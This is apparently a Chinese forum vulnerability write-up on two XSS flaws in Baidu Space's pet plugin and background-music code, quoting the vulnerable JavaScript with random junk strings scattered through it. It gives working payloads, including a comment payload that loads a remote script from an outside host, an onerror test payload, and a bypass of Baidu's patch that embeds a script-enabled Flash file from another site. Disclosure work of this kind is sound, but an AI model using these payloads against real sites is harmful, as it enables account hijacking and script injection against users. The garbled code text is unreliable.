百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. + @/ s) y2 ^# K6 z* [
7 [+ E% N1 e( Y( _
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
0 m3 c! |5 k$ R$ e: I2 ]2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 # V: W( u: x2 l/ q( V1 G
# F! I% R+ Z7 i+ m/ c/ b {
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
3 a$ s) g: F- }其中BdUtil.insertWBR为 ! Q) a# K% c: F- H; u
function(text, step) {
6 c, J/ B# ~6 a var textarea = textAreaCache || getContainer(); . P5 c& F0 J9 V8 _& U/ D
if (!textarea) {
* r* c6 i# f5 e% k) P# W! j return text; / R* `" B$ ]4 p. I
} 3 t( s/ h! d- T! m) o- |+ B; J1 m
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
8 d- `9 l2 [* c4 _4 k/ V( g" P var string = textarea.value; - ~7 d. n8 q8 l3 Y( R9 K
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
, m( t' A; Z: Z4 w var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 3 H, u$ i" V _) A
return result;
3 z# C$ P& ^/ k6 Q} 4 @: @. F' K- w. z: z9 b5 m% I
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. . c; V' [4 `0 X# X& T
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> ; k7 ^- I) H7 W' W" t
, Y: n1 h6 v9 y; u; ]. R. B二:creatbgmusic() Dom-Xss Bug
) E& L8 b0 v& L8 B6 A百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
3 ]0 ^+ Y& M% I- j
2 j# \" p% p0 N: S# M1 O* S9 P在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
" Y7 ]9 \* J* P# L; x1 Z) B1 Q2 Z0 d, L% ~6 s) M s
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { & {3 x v o8 u7 @7 ]4 O4 F4 a
//传入的murl赋值到bgmusic1和bgmusic2中 9 H& @) J, H2 ?1 C" x/ p7 g
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
1 v+ v! G! C5 M8 O3 \6 e ?5 Z var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
7 ?# {) o2 ~* u0 ] if (musicnum <= 1) { $ h4 F7 m, y7 i1 [& f/ w
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
0 k/ {! Z, o$ y. O4 U } - V6 V1 J. n* N& _
bgmusic1 += "</OBJECT>"; * d* ?# f/ K/ X7 Z* |0 I7 q
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
D! {5 r# ^8 ~' y' { if (musicnum <= 1) {
) j! u+ O; _* A. Q& h7 O5 u( x bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; + k) ^/ n0 v8 S% V
} ; V; t9 J1 M. n( Y( F) s& u z/ D1 z
bgmusic2 += "> </EMBED>"; % L* H5 P _3 W6 q& U3 H+ b
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 2 Z, J$ D3 M) N# N5 d# ]# m" s
var bgmus = detectWMP(); : N0 o, ?$ G8 i3 j- \0 y
if (functype == "FckMusicHelper") { 5 I. N6 e9 Q* r
if (bgmus.installed) { 0 D% G6 p; l% b3 ~: E
if (bgmus.type == "IE") { . E& C$ h# b! ?& [( [7 }3 P
return bgmusic1;
6 R7 b! z o+ v: U' z' [6 y1 r } else if (bgmus.type == "NS") { , w2 p0 p* `- Z9 Y% ?3 w: {+ E
return bgmusic2;
: s9 m, o9 K; \/ i* T } - y! y# z" `# Z! K/ \8 K- ]
} else { . P1 Q: H8 ?4 D/ K: o
return bgmusic3;
, P0 T+ H4 f4 T& Z$ a- O }
- s0 F% V, q( W8 a' L. ^4 q% g } else {
$ `2 p/ W+ F- ~* L: V0 W$ \ if (bgmus.installed) {
: P0 v6 Y; I9 |/ ` //document.write 直接输出bgmusic变量 导致xss
* c5 a- h1 x& p2 A5 } if (bgmus.type == "IE") {
. {, X0 j# D/ p0 V M document.write(bgmusic1);
) E' z% x( Q# c } else if (bgmus.type == "NS") { ) N8 W8 Q- [4 | C n; L
document.write(bgmusic2);
8 q9 J4 J# T+ V5 |; a } , L! S5 v0 h' e" z2 c! T- Y
} else { / f# r$ e! C& E, ]
document.write(bgmusic3); . Q1 H: J6 L! Y1 z5 L6 L& j8 q
}
: C" s. E: X$ l- L; n1 e5 X return ""; 7 H. W" b5 ]- {4 f
}
' Z' m2 j7 J' U |6 I, j$ l* W/ p2 }6 w}
2 R. K* k* W) f- g+ c k8 s$ o4 ^0 q9 O) T Q' _
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 0 X9 x' ~( Y! [
0 A% [) l, L8 O, A7 s, @3 P- Hfunction initBlogTextForFCK(){
6 m+ I% J4 C+ o+ `3 K8 e//fck init music - m& t- ]2 D/ B1 |
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
# u4 V' R0 U4 o* L2 E8 wvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
2 ^3 N7 e1 ]3 a5 s f s/ ?/ Hvar isAutoPlay=true;
( u4 r( u S6 `1 r! a4 lfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
$ n6 w" F6 s" A, f; U var img=imgBox; 0 R. H3 A. M, P+ h( n7 w/ \; p3 |
if(img.getAttribute(’rel’)){ 2 ]2 ], w m: i
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
8 J8 b6 d! h3 D var musicDiv = document.createElement("SPAN");
% y9 a. d0 Z( F( c1 T var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
4 p- I" M" b2 t 8 P1 i5 E' q* R) {7 m
.......................... ! T _9 ]# g. b/ c" D) ^
9 Y( V) F: O- ^$ R$ {
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
0 y) Q1 ?! N0 q var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); # R# a8 K) `7 A$ y% x# h t
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 7 K9 R- l, J. k( b; K
musicDiv.innerHTML=shtml;
& e2 _! Q' @0 z/ M( `* ^" L i--;n--; 3 B9 b; x" ^5 O0 Y4 g/ K
}
4 a5 B* s6 L/ }6 o+ }& Z$ X} " Q1 y4 e4 U9 n" F1 X0 k
2 g1 @& ~: |! R7 j" k
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
7 t" w/ [' i4 M8 ?, W, ^# J6 r$ b
: e( ~5 o( X0 Y- B: T z, [测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
/ {' H0 f8 N+ w, b/ \' @5 s; ]5 O. Q' [( M* _+ u
等待官方补丁 ' N3 l: F: k4 m9 M- j, |4 I
' d3 s' K8 M' ~/ wupdate 2010年5月13日 " [1 b5 Y' F$ L1 F# g
5 G1 m: H) c" c" Z0 H9 z官方补丁:
4 B/ b7 N% @. D- F, t8 J8 U8 O
0 ]9 }" z& v: c s9 W3 [var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ H3 E! E( b8 {. g- y改为: 5 P( u2 _ R/ Q6 j' W
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 7 l* L: R% l) Q. e+ @
$ o+ L/ ]6 M$ o T, H1 A: l3 o* Dupdate 2010年5月13日 21:50:37 * [+ \7 Z. s( p0 h$ d. f
( p: Q; ?+ R& K. i% H6 n7 M
补丁存在漏洞 没有过滤" 可以继续跨:
% Y5 D! P8 Y" g# l
4 t/ _: h8 ]/ ONEW POC: 3 w* G% Q x+ U# W7 r9 m4 u
8 v, K7 V U! j& [* {4 X1 N, C
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
' @4 S; F& R- @7 W1 Z7 [
- x. \' I! x1 j7 H; ?allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>: y/ \/ M0 E }, f
3 @( `/ r( t5 D0 Y |